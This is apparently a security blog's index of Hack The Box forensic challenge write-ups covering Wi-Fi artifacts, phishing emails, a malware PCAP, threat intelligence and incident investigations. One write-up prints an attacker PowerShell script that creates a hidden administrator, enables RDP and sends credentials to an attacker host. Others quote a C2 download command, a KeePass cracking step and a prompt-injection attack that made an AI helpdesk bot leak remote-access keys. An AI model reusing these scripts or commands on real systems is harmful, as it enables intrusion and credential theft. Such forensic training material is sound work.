\u0026#34;DhcpIPAddress\u0026#34;, ... }, { \u0026#34;Data\u0026#34;: \u0026#34;86400\u0026#34;, \u0026#34;ValueName\u0026#34;: \u0026#34;Lease\u0026#34;, ... }, { \u0026#34;Data\u0026#34;: \u0026#34;1748629368\u0026#34;, \u0026#34;ValueName\u0026#34;: \u0026#34;LeaseObtainedTime\u0026#34;, ... }, { \u0026#34;Data\u0026#34;: \u0026#34;142726F627564757D634F666665656\u0026#34;, \u0026#34;ValueName\u0026#34;: \u0026#34;DhcpNetworkHint\u0026#34;, ... }, { \u0026#34;Data\u0026#34;: \u0026#34;8.8.8.8\u0026#34;, \u0026#34;ValueName\u0026#34;: \u0026#34;DhcpNameServer\u0026#34;, ... }, { \u0026#34;Data\u0026#34;: \u0026#34;AC-10-64-FE-06-00-00-00-E4-D1-24-96-A5-D1\u0026#34;, \u0026#34;ValueName\u0026#34;: \u0026#34;DhcpGatewayHardware\u0026#34;, ... }, { \u0026#34;Data\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;ValueName\u0026#34;: \u0026#34;DhcpGatewayHardwareCount\u0026#34;, ... } ] So from the data here we would have thought that the BSSID is the DhcpGatewayHardware as that\u0026rsquo;s normally the case for small networks. But the MAC address is not the correct format. So after research it appears that the DhcpGatewayHardware has the MAC address in the last 6 bytes! That\u0026rsquo;s is because the DhcpGatewayHardwareCount is just one. The other bytes that are coming before are padding and reserved for more addresses.\n6. It looks like they started some sort of manifesto at the café, what is the name of the file they started to write? Show solution The Chains Not Seen.txt So in order to find files we need to check $MFT (Master File Table). For that we are going to use Timeline Explorer again but first we need to extract the $MFT data. For that we are goinf to use MFTECmd\n1 C:\\Users\\saran\\Tools\\MFTECmd\\MFTECmd.exe -f \u0026#39;.\\Downloads\\WhyFind\\KAPEOUT\\C\\$MFT\u0026#39; --csv .\\Downloads\\WhyFind\\ --csvf mfte_out.csv 7. What is the last sentence of the manifesto? Show solution Freedom is a perspective away. For this we need to use the MFT Explorer. Our csv file from the previous question cannot show any contents of the file of course. NTFS $MFT doesn’t just store metadata — for small files (usually \u0026lt;1 KB, sometimes a bit more), the actual file content is stored resident inside the MFT entry itself. That’s why when you browsed the MFT entry for our subject file, MFT Explorer could directly show you the text inside the record.\n8. They started their research by watching a YouTube video of a speech, what is the name of the speech? Show solution The Ballot or the Bullet For this need to check the browser artifacts to find recent web activity. Below C:\\Users\\\u0026lt;User\u0026gt;\\AppData\\Local\\ we find that depending on the browser. For is: C:\\Users\\Ernes\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\History There we find the youtube video that was being watched. We opened the database in the DB Browser for SQLite.\n9. They continued their research by looking up a book on Wikipedia, what was the title of the book? Show solution The Iron Heel We look at the same database as the above question.\n10. What was the last thing they downloaded before leaving the café? Show solution BraveBrowserSetup.exe In the SQLite browser, still on the History database we open now the Downloads table and there we find the answer.\n11. When investigating changes to network profiles on a Windows system, which event log would you examine to find entries related to these profile-specific events, using event IDs such as 10000 or 10001? Show solution Microsoft-Windows-NetworkProfile/Operational So here we refer to the event logs related to the Network Profiles. Previously we had looked the WLAN logs. All of them are located in the location C:\\Windows\\System32\\winevt\\logs.\n12. Using the logs from the previous answer, when did they disconnect and leave the first café? Show solution 2025-05-30 18:55:45 To get that you open the NetworkProfile logs and look for 10001 (disconnect) Event ID from first cafe\u0026rsquo;s SSID. For that we can use our combined logs file evtx.csv in Timeline Explorer (recommended) or open only the specific log file in the built-in app Event Viewer from Windows. Remember that we need the time in UTC and the Event Viewer will convert the timestamps in local time!\n13. Using the same logs, when did the user arrive at the second café? Show solution 2025-05-30 19:05:26 In the same logic as the above we look for events 10000 (connect) for the second cafe.\n14. What is the SSID(decoded) of the second Wi-Fi they connected to on May 30th 2025? Show solution Happy Trails Guest From the previous question we should already know that.\n15. What IP address did the device receive when connecting to the second café? Show solution 192.168.10.100 Looking first at the Microsoft-Windows-WLAN-AutoConfig/Operational.evtx to check the interface GUID and then at the registry SYSTEM:ControlSet001\\Services\\Tcpip\\Parameters\\Interfaces\\{18c11dbd-93ab-4ca9-a804-4f4475da25b8} to get the IP from the different profiles(entries). Same logic as Q4\n16. When did the system obtain a lease for the second network? Show solution 2025-05-30 19:06:02 Same location as above, under the specific interface in the Registry. But we had to convert it from unix epoch of course. Simillar to Q3\n17. What was the BSSID (MAC address) of the access point they connected to at the second café? Show solution 4C-BA-7D-E1-8C-30 Same location as above, in the Registry, but again we need to remember the field that gives us that is DhcpGatewayHardware but only the last 6 bytes of the hex value is the BSSID. Similar Q5\n18. What was the first thing the user downloaded at the second café? Show solution VirtualBox-7.1.8-168469-Win.exe Looking at the Brave browser artifacts, using DB Browser for SQLite, at the History DB in C:\\Users\\Ernes\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\History and then looking at the Downloads table we find the answer.\n19. What online forum/social media site did they visit? Show solution Reddit Same as the above question but we search the URL table.\n20. What was their username on the site? Show solution FinanciallyFree3636 So to find that we need to open another Database for Brave (in DB Browser for SQLite) and that\u0026rsquo;s the Login Data and then see the logins table.\n21. What was the name of the VM they created? Show solution LastHope If we search on the MFT either in the MFT Explorer or the CSV on the Timeline explorer we can find the answer. Search for .vbox file or browse around on the Explorer on the user\u0026rsquo;s folder.\n22. What street was the first café on? Show solution W Prospect Rd Finding the street requires us to do some OSINT from the SSID. Or if we didn\u0026rsquo;t have it we could do BSSID(that we already have) to GeoLocation search. That can be done in https://wigle.net in the advanced search.\n23. Investigators may want to follow up on the Wi-Fi credentials used at the first café the suspect visited. Which file stores the authentication details (including the encrypted password) for the first network? Show solution {BAC95378-DC6B-4464-918E-4E005F747786}.xml The Wi-Fi authentication details (including the encrypted password) are stored in the WLAN profile XML file under: C:\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces\\\u0026lt;Interface-GUID\u0026gt;\\\u0026lt;Profile-Filename\u0026gt;.xml. In general Windows stores wireless profiles as XML files under ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces\\.\n24. What authentication method was used to connect to the first café\u0026rsquo;s Wi-Fi? Show solution WPA2PSK Inside the above file is all the info needed for this answer.\n","permalink":"https://p4n4s.com/posts/htb/sherlock/sher-whyfind/","summary":"We have been hot on the trail for a political dissident. They jump from café to café using the Wi-Fi making it hard to nab them. During one of their trips, they unknowingly sat next to one of our agents and we captured them with their laptop on. We need to know where they have been and what they have been doing. Analyze the KAPE output and see if you can get us some answers.","title":"HTB: Sherlock — WhyFind"},{"content":"Scenario Your manager has just informed you that, due to recent budget cuts, you\u0026rsquo;ll need to take on additional responsibilities in threat analysis. As a junior threat intelligence analyst at a cybersecurity firm, you\u0026rsquo;re now tasked with investigating a cyber espionage campaign linked to a group known as Salt Typhoon. Apparently, defending against sophisticated Nation-State cyber threats is now a \u0026ldquo;do more with less\u0026rdquo; kind of game. Your Task: Conduct comprehensive research on Salt Typhoon, focusing on their tactics, techniques, and procedures. Utilize the MITRE ATT\u0026amp;CK framework to map out their activities and provide actionable insights. Your findings could play a pivotal role in fortifying our defenses against this adversary. Dive deep into the data and show that even with a shoestring budget, you can outsmart the cyber baddies.\nInitial Analysis All of the answers we get either from MITRE website or searching the web. OSINT basically.\nQuestions This write up won\u0026rsquo;t be too elaborate.\n1. Starting with the MITRE ATT\u0026amp;CK page, which country is thought be behind Salt Typhoon? Show solution China 2. According to that page, Salt Typhoon has been active since at least when? (Year) Show solution 2019 3. What kind of infrastructure does Salt Typhoon target? Show solution network 4. Salt Typhoon has been associated with multiple custom built malware, what is the name of the malware associated with the ID S1206? Show solution JumbledPath 5. What operating system does this malware target? Show solution Linux 6. What programming language is the malware written in? Show solution go 7. On which vendor\u0026rsquo;s devices does the malware act as a network sniffer? Show solution cisco 8. The malware can perform \u0026lsquo;Indicator Removal\u0026rsquo; by erasing logs. What is the MITRE ATT\u0026amp;CK ID for this? Show solution T1070.002 9. On December 20th, 2024, Picus Security released a blog on Salt Typhoon detailing some of the CVEs associated with the threat actor. What was the CVE for the vulnerability related to the Sophos Firewall? Show solution CVE-2022-3236 10. The blog demonstrates how the group modifies the registry to obtain persistence with a backdoor known as Crowdoor. Which registry key do they target? Show solution HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 11. What is the MITRE ATT\u0026amp;CK ID of the previous technique? Show solution T1112 12. On November 25th, 2024, TrendMicro published a blog post detailing the threat actor. What name does this blog primarily use to refer to the group? Show solution Earth Estries 13. The blog post identifies additional malware attributed to the threat actor. Which malware do they describe as a \u0026lsquo;multi-modular backdoor\u0026hellip;using a custom protocol protected by Transport Layer Security\u0026rsquo; Show solution GHOSTSPIDER 14. Most of the domains the malware communicates with have a .com top-level domain. One uses a .dev TLD. What is the full domain name for the .dev TLD? Show solution telcom.grishamarkovgf8936.workers.dev 15. What is the filename for the first GET request to the C\u0026amp;C server used by the malware? Show solution index.php 16. On September 30th, 2021, a blog post was released on Securelist by Kaspersky. What was the threat actor\u0026rsquo;s name at that time? Show solution GhostEmperor 17. What is the name of the malware that this article focuses on? Show solution Demodex 18. What type of malware is the above malware? Show solution rootkit 19. The first stage consists of a malicious PowerShell dropper. What type of encryption is used to obfuscate the code? Show solution AES 20. The malware uses Input/Output Control codes to perform various tasks related to hiding malicious artifacts. What is the code used by the malware to hide its service from the list within the services.exe process address space? Show solution 0x220300 ","permalink":"https://p4n4s.com/posts/htb/sherlock/sher-salineb1/","summary":"Your manager has just informed you that, due to recent budget cuts, you\u0026rsquo;ll need to take on additional responsibilities in threat analysis. As a junior threat intelligence analyst at a cybersecurity firm, you\u0026rsquo;re now tasked with investigating a cyber espionage campaign linked to a group known as Salt Typhoon. Apparently, defending against sophisticated Nation-State cyber threats is now a \u0026ldquo;do more with less\u0026rdquo; kind of game. Your Task: Conduct comprehensive research on Salt Typhoon, focusing on their tactics, techniques, and procedures. Utilize the MITRE ATT\u0026amp;CK framework to map out their activities and provide actionable insights. Your findings could play a pivotal role in fortifying our defenses against this adversary. Dive deep into the data and show that even with a shoestring budget, you can outsmart the cyber baddies.","title":"HTB: Sherlock — SalineBreeze-1"},{"content":"Scenario An accounting team receives an urgent payment request from a known vendor. The email appears legitimate but contains a suspicious link and a .zip attachment hiding malware. Your task is to analyze the email headers, and uncover the attacker\u0026rsquo;s scheme.\nArtifacts Provided PhishNet.zip - SHA256:7d5621c46502fe5badf62137bb9340898e712fd3915d220022f9db046defd4d5 email.eml - SHA256:cf48f767176524f8c3fce171607b846aae463cc6128a48de32dffe2da6ab37c4 (included in the ZIP) Initial Analysis For .eml files, we first open it in the text editor of our liking for analysis. We are going to use VS Code to answer (almost) all the questions below.\nQuestions 1. What is the originating IP address of the sender? Show solution 45.67.89.10 This can be found from the X-Sender-IP or X-Originating-IP. If these were absent we could just observe the hops of the traffic on the Received headers.\n2. Which mail server relayed this email before reaching the victim? Show solution 203.0.113.25 For this we need to see the last hop of the Received headers which is the topmost one.\n3. What is the sender\u0026rsquo;s email address? Show solution finance@business-finance.com Looking the From header.\n4. What is the \u0026lsquo;Reply-To\u0026rsquo; email address specified in the email? Show solution support@business-finance.com Looking the Reply-To header.\n5. What is the SPF (Sender Policy Framework) result for this email? Show solution pass In the Authentication-Results header section we find the result.\n6. What is the domain used in the phishing URL inside the email? Show solution secure.business-finance.com Looking at the body of the email we can see that in an \u0026lt;a href= tag.\n7. What is the fake company name used in the email? Show solution Business Finance Ltd. Again looking at the body of the email.\n8. What is the name of the attachment included in the email? Show solution Invoice_2025_Payment.zip That can be found below the body of the email, on the attachement section we starts with \u0026ndash;boundary123.\n9. What is the SHA-256 hash of the attachment? Show solution 8379C41239E9AF845B2AB6C27A7509AE8804D7D73E455C800A551B22BA25BB4A For this we need to take the Base64 encoded attachment, decode it to bytes and get the SHA-256 digest of it. One quick way is to use Cyberchef.\n10. What is the filename of the malicious file contained within the ZIP attachment? Show solution invoice_document.pdf.bat We can easily see that only from decoding the Base64 attachement.\n11. Which MITRE ATT\u0026amp;CK techniques are associated with this attack? Show solution T1566.001 Here we search for phishing with ZIP attachment on the MITRE framework.\n","permalink":"https://p4n4s.com/posts/htb/sherlock/sher-phishnet/","summary":"An accounting team receives an urgent payment request from a known vendor. The email appears legitimate but contains a suspicious link and a .zip attachment hiding malware. Your task is to analyze the email headers, and uncover the attacker\u0026rsquo;s scheme.","title":"HTB: Sherlock — PhishNet"},{"content":"Scenario A recent anomaly has been detected in our network traffic, suggesting a potential breach. Our team suspects that an unauthorized entity has infiltrated our systems and accessed confidential company data. Your mission is to unravel this mystery, understand the breach, and determine the extent of the compromised data.\nArtifacts Provided Interceptor.zip - SHA256:420fc45fb2a14469073c3fc93e5702c5cead5f787e55e97b452d86f64b0ee9e0 interceptor.pcap - SHA256:0e4b27b977b6655dcc8533e9af4c4beccd4e11288072d10e2646cfa0ed0b9ee3 (included in the ZIP) Initial Analysis We open the PCAP in wireshark to see what\u0026rsquo;re we dealing with. Checking for protocol hierarchy statictics we see 99% TCP packets with 21% TLS. We also have 78 HTTP packets and 60 data ones, which is something interesting for us to inspect. For conversations we see that one of the two IPv4 addresses is always 10.4.17.101. We can suspect that this is the \u0026ldquo;local\u0026rdquo; one or the one the PCAP was captured. Lastly one other interesting fact is that the two external IPs with the most packets were 87.249.49.206 \u0026amp; 142.250.115.95 but this can be misleading and it doesn\u0026rsquo;t mean anything on its own. Let\u0026rsquo;s dive into it!\nQuestions 1. What IP address did the original suspicious traffic come from? Show solution 10.4.17.101 So that one is the one we suspected as the originating IP of the local host we examine. But we can confirm that if we filter for http traffic, as all traffic come from one local IP.\n2. The attacker downloaded a suspicious file. What is the HTTP method used to retrieve the properties of this file? Show solution PROPFIND (frame 10945) This is WebDAV traffic. Local host using the OS WebDAV client to talk to the remote server (87.249.49.206 / krd6.com) and enumerate/download files. The method here is a WebDAV (RFC 4918) method used to read properties of a resource and to enumerate collections.\nWebDAV (Web Distributed Authoring and Versioning) is an extension to HTTP/1.1 that lets a client not just download but also list, upload, edit, and manage files on a remote web server — basically turning HTTP into a remote filesystem. It adds new HTTP methods (verbs) like:\nOPTIONS → check what features the server supports\nPROPFIND → list files/folders or metadata\nMKCOL → create folders\nPUT → upload a file\nMOVE, COPY, DELETE → manipulate files remotely\n3. It appears that this file is malware. What is its filename? Show solution avp.msi (frame 10999) If we observe the HTTP traffic we will see after the initial reconnaissance of the attacker, we see also a GET request for it.\n4. What is the SSDEEP hash of the malware as reported by VirusTotal? Show solution 24576:BqKxnNTYUx0ECIgYmfLVYeBZr7A9zdfoAX+8UhxcS:Bq6TYCZKumZr7ARdAAO8oxz We export the malware and give it to VT.\nLet\u0026rsquo;s have a look on what these values mean:\nSSDEEP A context-triggered piecewise (fuzzy) hash (also written ssdeep) used to detect similar files even when they aren’t byte-for-byte identical (e.g., small changes, recompiled binaries, or different MSI wrappers). Good for quick similarity checks: two files with close ssdeep values are likely related variants.\nTLSH Trend Locality Sensitive Hash — another fuzzy / locality-sensitive hash algorithm. Like ssdeep, it gives a similarity measure but using a different algorithm and characteristics (sometimes picks up similarity that ssdeep misses and vice-versa). Useful for clustering and detecting families/variants.\nMagic The output from a “magic bytes” detection (libmagic / UNIX file-style identification). It describes the underlying container/format and sometimes OS/platform and endianness (e.g., “Composite Document File V2 Document, Little Endian…”). This is the raw file-signature interpretation.\nTrID Results from the TrID file-type identification tool. TrID compares byte patterns against a database of known file-type definitions and returns probabilities. The percentages next to each entry (e.g., “Microsoft Windows Installer (80%) …”) are TrID’s confidence scores for that classification. It’s another way to confirm file type and possible embedded formats.\n(Magika / Magik / Magika) This field in VT is an additional file-format / magic detector (an alternate identification engine VT runs). It’s usually a short label that repeats the format (here it shows MSI). Think of it as another corroborating file-type label. (Different VT UIs may call this slightly different names; it’s just another detector’s output.)\n5. According to the NeikiAnalytics community comment on VirusTotal, to which family does the malware belong? Show solution ssload From the VT comments.\n6. What is the creation time of the malware? Show solution 2009-12-11 11:47:44 UTC From VT Details again.\n7. What is the domain name that the malware is trying to connect with? Show solution api.ipify.org (frame 12568) It\u0026rsquo;s the first DNS request after the malware has been downloaded.\n8. What is the IP address that the attacker has consistently used for communication? Show solution 85.239.53.219 (frame 12604) The domain above one is not related to the IP on this question. Looking at the HTTP traffic is evident which IPv4 is used for comms to the C2 server from the attacker.\n9. Which file, included in the original package, is extracted and utilized by the malware during execution? Show solution forcedelctl.dll This can be found from VT relations or by looking at the raw TCP bytes when the attacker downloaded the malware.\n10. What program is used to execute the malware? Show solution MsiExec.exe This can be found from VT Behavior or by looking at the raw TCP bytes again when the attacker downloaded the malware.\n11. What is the hostname of the compromised machine? Show solution DESKTOP-FWQ3U4C (frame 12819) From the Browser protocol. The “BROWSER” packets are just Windows LAN discovery/advertising traffic showing the internal host.\n12. What is the key that was used in the attack? Show solution WkZPxBoH6CA3Ok4iI (frame 12607) To find the key we go to the frame that the malware registers with its malicious API. The response contains the key.\n13. What is the os_version of the compromised machine? Show solution Windows 6.3.9600 (frame 12604) Again in the initial \u0026ldquo;registration\u0026rdquo; of the malware in its remote API it publishes lots of info from the host. In the POST request to the /api/gateway we can find that information.\n14. What is the owner name of the compromised machine? Show solution Nevada In the same frame as above.\n15. After decrypting the communication from the malware, what command is revealed to be sent to the C2 server? Show solution {\u0026quot;command\u0026quot;: \u0026quot;exe\u0026quot;, \u0026quot;args\u0026quot;: [\u0026quot;http://85.239.53.219/download?id=Nevada\u0026amp;module=2\u0026amp;filename=None\u0026quot;]} (frame 12644) This was a bit strange in terms of question and expected answer but we can also get this from the Discussions in VT and actually in the first comment. It is basically the first command after the registration to the C2 server.\n","permalink":"https://p4n4s.com/posts/htb/sherlock/sher-interceptor/","summary":"A recent anomaly has been detected in our network traffic, suggesting a potential breach. Our team suspects that an unauthorized entity has infiltrated our systems and accessed confidential company data. Your mission is to unravel this mystery, understand the breach, and determine the extent of the compromised data.","title":"HTB: Sherlock — Interceptor"},{"content":"Description: With help from D.I. Lestrade, Holmes acquires logs from a compromised MSP connected to the city’s financial core. The MSP’s AI servicedesk bot looks to have been manipulated into leaking remote access keys - an old trick of Moriarty’s.\nScenario Files The_Watchman\u0026rsquo;s_Residue.zip - Kape Output - SHA256:1ef8e6a1109c9611a7a805b8f0f8c4392e7d85b88191ef440a88b21efbe4b74d We are going to use EvtxECmd.exe to combine all the .evtx (win logs files) together.\n.\\EvtxECmd.exe -d \u0026#34;C:\\Users\\p4n4\\Downloads\\the_watchman\u0026#39;s_residue\\TRIAGE_IMAGE_COGWORK-CENTRAL\\C\\Windows\\System32\\winevt\\logs\u0026#34; --csv \u0026#34;C:\\Users\\p4n4\\Downloads\\the_watchman\u0026#39;s_residue\\\u0026#34; --csvf evtx.csv It also includes acquired file (critical).kdbx which is a Keypass database file - SHA256:47cd8abdd44cfd8a58112680481636fcd5ae3fd62ce535f6e966a7f08b27cda2 and msp-helpdesk-ai day 5982 section 5 traffic.pcapng - SHA256: 4eaccef0012142429b147711d7fa9d1d73a2726f136d30f4fac1f440d16528ba\nFlags 1. What was the IP address of the decommissioned machine used by the attacker to start a chat session with MSP-HELPDESK-AI? (IPv4 address) Show solution 10.0.69.45 We open up the PCAP file in Wireshark and be looking at it we can find the suspicious traffic in tcp.stream 39. That\u0026rsquo;s how we get the IP.\n2. What was the hostname of the decommissioned machine? (string) Show solution WATSON-ALPHA-2 Having the IP we put it in filter ip.src == 10.0.69.45 and then we find the BROWSER protocl which gives us the hostname\n3. What was the first message the attacker sent to the AI chatbot? (string) Show solution Hello Old Friend We check the conversation from the PCAP\n4. When did the attacker\u0026rsquo;s prompt injection attack make MSP-HELPDESK-AI leak remote management tool info? (YYYY-MM-DD HH:MM:SS) Show solution 2025-08-19 12:00:31 We check the conversation from the PCAP\n5. What is the Remote management tool Device ID and password? (IDwithoutspace:Password) Show solution 565963039:CogWork_Central_97\u0026amp;65 We check the conversation from the PCAP\n6. What was the last message the attacker sent to MSP-HELPDESK-AI? (string) Show solution JM WILL BE BACK We check the conversation from the PCAP\n7. When did the attacker remotely access Cogwork Central Workstation? (YYYY-MM-DD HH:MM:SS) Show solution 2025-08-20 09:58:25 We stop analyzing the PCAP and move to the KAPE output. Looking at it we can spot the RMM app used which is TeamViewer.Log files located Program Files\\TeamViewer\\. Looking at the handy file Connections_incoming.txt gives the start of the attack in a timestamp.\n8. What was the RMM Account name used by the attacker? (string) Show solution James Moriarty From the same file Connections_incoming.txt\n9. What was the machine\u0026rsquo;s internal IP address from which the attacker connected? (IPv4 address) Show solution 192.168.69.213 For that question we need to take a look ath the TeamViewer15_logfile.log. After a bit of research about the TeamViewer logs we find that the internal IP appears as a UDP punch in the logs. We can also correlate the timestamps and guess the IP.\n10. The attacker brought some tools to the compromised workstation to achieve its objectives. Under which path were these tools staged? (C:\\FOLDER\\PATH) Show solution C:\\Windows\\Temp\\safe\\ Knowing the log in time of the attacker we start our investigation from there and by exmploring the logs we find all sorts of different tools, all being in the same directory.\n11. Among the tools that the attacker staged was a browser credential harvesting tool. Find out how long it ran before it was closed? (Answer in milliseconds) (number) Show solution 8000 For that we will open the RegistryExplorer and check the user hive C:\\Users\\Cogwork_Admin\\NTUSER.DAT. The path to the correct reg value is Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist and to find that one way is to search based on the name of the tool.\nFor context this registry file (Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist) is a Windows Registry key that tracks user interaction with programs and shortcuts from the Windows Explorer shell\n12. The attacker executed a OS Credential dumping tool on the system. When was the tool executed? (YYYY-MM-DD HH:MM:SS) Show solution 2025-08-20 10:07:08 As an OS credential-dumping tool the question refers to Mimikatz. Registry didn\u0026rsquo;t show promising results so we need to focus on the $MFT or any prefetch files but our output doesn\u0026rsquo;t include any. It includes though the $UsnJrnl which is the $J file in the Extend dir. We parse it with the MFTCmd and review in on the Timeline explorer. There we search for Mimikatz and we can actually see the date of the prefetch files. Note: prefetch files include how and when an app was executed.\n13. The attacker exfiltrated multiple sensitive files. When did the exfiltration start? (YYYY-MM-DD HH:MM:SS) Show solution 2025-08-20 10:12:07 For this question we take a look again on the teamviewer logs. Just remember to subtract 1 from the hours.\n14. Before exfiltration, several files were moved to the staged folder. When was the Heisen-9 facility backup database moved to the staged folder for exfiltration? (YYYY-MM-DD HH:MM:SS) Show solution 2025-08-20 10:11:09 We open again our TimelineExplorer and check the $J. Search for the keyword.\n15. When did the attacker access and read a txt file, which was probably the output of one of the tools they brought, due to the naming convention of the file? (YYYY-MM-DD HH:MM:SS) Show solution 2025-08-20 10:08:06 Again TimelineExplorer and check the $J.\n16. The attacker created a persistence mechanism on the workstation. When was the persistence setup? (YYYY-MM-DD HH:MM:SS) Show solution 2025-08-20 10:13:57 Here we need to think which tool/malware file was used for that. In the registry before we had seen it. JM.exe. Registry path HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon. We need to find the last write timestamp of it.\n17. What is the MITRE ID of the persistence subtechnique? (Txxxx.xxx) Show solution T1547.004 Google\n18. When did the malicious RMM session end? (YYYY-MM-DD HH:MM:SS) Show solution 2025-08-20 10:14:27 This is trivial. Remember where we checked the start of the RMM session.\n19. The attacker found a password from exfiltrated files, allowing him to move laterally further into CogWork-1 infrastructure. What are the credentials for Heisen-9-WS-6? (user:password) Show solution Werni:Quantum1! For this we need to crack the keypass db. keepass2john acquired\\ file\\ \\(critical\\).kdbx \u0026gt; db.hash\njohn --wordlist=wordlist/rockyou.txt db.hash ..... cutiepie14 (acquired file (critical)) So password is cutiepie14. We use that to open the keepass database with a client (keepass2).\n","permalink":"https://p4n4s.com/posts/htb/holmes25/watchman/","summary":"With help from D.I. Lestrade, Holmes acquires logs from a compromised MSP connected to the city’s financial core. The MSP’s AI servicedesk bot looks to have been manipulated into leaking remote access keys - an old trick of Moriarty’s.","title":"HTB: Holmes 2025 — The Watchman's Residue"},{"content":"Description: LeStrade passes a disk image artifacts to Watson. It\u0026rsquo;s one of the identified breach points, now showing abnormal CPU activity and anomalies in process logs.\nScenario Files The_Enduring_Echo.zip - Kape Output - SHA256:6efc1b8f809016100f58beef650c83557966235d7b327f890713f296710436e0 We are going to use EvtxECmd.exe to combine all the .evtx (win logs files) together.\n.\\EvtxECmd.exe -d \u0026#34;D:\\Users\\p4n4\\Downloads\\The_Enduring_Echo\\The_Enduring_Echo\\C\\Windows\\System32\\winevt\\logs\u0026#34; --csv \u0026#34;D:\\Users\\p4n4\\Downloads\\The_Enduring_Echo\\The_Enduring_Echo\u0026#34; --csvf evtx.csv Flags 1. What was the first (non cd) command executed by the attacker on the host? (string) Show solution systeminfo Analyzing the evtx.csv that has all the logs we check the ones with EventID 4688 (Process Creation). There we see the attacker executing commands with a strange redirect to 1\u0026gt; \\\\127.0.0.1\\ADMIN$\\__1756075857.955773 2\u0026gt;\u0026amp;1. First command is the answer.\n2. Which parent process (full path) spawned the attacker’s commands? (C:\\FOLDER\\PATH\\FILE.ext) Show solution C:\\Windows\\System32\\wbem\\WmiPrvSE.exe “Payload data 1” column on the same event.\n3. Which remote-execution tool was most likely used for the attack? (filename.ext) Show solution wmiexec.py Given the context we know the parent process and the command redirection to an admin share we can safely bet it is that.\n4. What was the attacker’s IP address? (IPv4 address) Show solution 10.129.242.110 Searing for other commands the attacker run, cmd.exe, we come across modification of the hosts file. That\u0026rsquo;s the attackers IP.\n5. What is the first element in the attacker\u0026rsquo;s sequence of persistence mechanisms? (string) Show solution SysHelper update Same idea we look later for the attacker\u0026rsquo;s moves and we see him creating a Scheduled Task with schtasks.\n6. Identify the script executed by the persistence mechanism. (C:\\FOLDER\\PATH\\FILE.ext) Show solution C:\\Users\\Werni\\Appdata\\Local\\JM.ps1 From the above command we can find the script path and actually we have in our KAPE output:\n# List of potential usernames $usernames = @(\u0026#34;svc_netupd\u0026#34;, \u0026#34;svc_dns\u0026#34;, \u0026#34;sys_helper\u0026#34;, \u0026#34;WinTelemetry\u0026#34;, \u0026#34;UpdaterSvc\u0026#34;) # Check for existing user $existing = $usernames | Where-Object { Get-LocalUser -Name $_ -ErrorAction SilentlyContinue } # If none exist, create a new one if (-not $existing) { $newUser = Get-Random -InputObject $usernames $timestamp = (Get-Date).ToString(\u0026#34;yyyyMMddHHmmss\u0026#34;) $password = \u0026#34;Watson_$timestamp\u0026#34; $securePass = ConvertTo-SecureString $password -AsPlainText -Force New-LocalUser -Name $newUser -Password $securePass -FullName \u0026#34;Windows Update Helper\u0026#34; -Description \u0026#34;System-managed service account\u0026#34; Add-LocalGroupMember -Group \u0026#34;Administrators\u0026#34; -Member $newUser Add-LocalGroupMember -Group \u0026#34;Remote Desktop Users\u0026#34; -Member $newUser # Enable RDP Set-ItemProperty -Path \u0026#34;HKLM:\\System\\CurrentControlSet\\Control\\Terminal Server\u0026#34; -Name \u0026#34;fDenyTSConnections\u0026#34; -Value 0 Enable-NetFirewallRule -DisplayGroup \u0026#34;Remote Desktop\u0026#34; Invoke-WebRequest -Uri \u0026#34;http://NapoleonsBlackPearl.htb/Exchange?data=$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(\u0026#34;$newUser|$password\u0026#34;)))\u0026#34; -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null } 7. What local account did the attacker create? (string) Show solution svc_netupd We can guess the account from the above script, but a more correct approach is to check Event ID 4720.\n8. What domain name did the attacker use for credential exfiltration? (domain) Show solution NapoleonsBlackPearl.htb From the script is evident.\n9. What password did the attacker\u0026rsquo;s script generate for the newly created user? (string) Show solution Watson_20250824160509 Here is the password creation:\n$timestamp = (Get-Date).ToString(\u0026#34;yyyyMMddHHmmss\u0026#34;) $password = \u0026#34;Watson_$timestamp\u0026#34; We get the timestamp in Event ID 4720 and by converting it to the local computer timezone we get the correct one. One way to find the local TZ is from the registry HKLM\\TempHive\\ControlSet001\\Control\\TimeZoneInformation using the SYSTEM hive from our KAPE output. We get the TZ is Pacific Standard Time.\n10. What was the IP address of the internal system the attacker pivoted to? (IPv4 address) Show solution 192.168.1.101 Looking further attacker\u0026rsquo;s moves anf EventID 4688 we find a command for portforwading that creates a proxy with netsh.\n11. Which TCP port on the victim was forwarded to enable the pivot? (port 0-65565) Show solution 9999 From the above command.\n12. What is the full registry path that stores persistent IPv4→IPv4 TCP listener-to-target mappings? (HKLM......) Show solution HKLM\\SYSTEM\\CurrentControlSet\\Services\\PortProxy\\v4tov4\\tcp Google it.\n13. What is the MITRE ATT\u0026amp;CK ID associated with the previous technique used by the attacker to pivot to the internal system? (Txxxx.xxx) Show solution T1090.001 Look it up on Mitre ATT\u0026amp;CK framework\n14. Before the attack, the administrator configured Windows to capture command line details in the event logs. What command did they run to achieve this? (command) Show solution reg add \u0026quot;HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\u0026quot; /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f For this we need to check the \\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt.\n","permalink":"https://p4n4s.com/posts/htb/holmes25/echo/","summary":"LeStrade passes a disk image artifacts to Watson. It\u0026rsquo;s one of the identified breach points, now showing abnormal CPU activity and anomalies in process logs.","title":"HTB: Holmes 2025 — The Enduring Echo"},{"content":"Machine Info Spoiler Titanic is an easy difficulty Linux machine that features an Apache server listening on port 80. The website on port 80 advertises the amenities of the legendary Titanic ship and allows users to book trips. A second vHost is also identified after fuzzing, which points to a Gitea server. The Gitea server allows registrations, and exploration of the available repositories reveals some interesting information including the location of a mounted Gitea data folder, which is running via a Docker container. Back to the original website, the booking functionality is found to be vulnerable to an Arbitrary File Read exploit, and combining the directory identified from Gitea, it is possible to download the Gitea SQLite database locally. Said database contains hashed credentials for the developer user, which can be cracked. The credentials can then be used to login to the remote 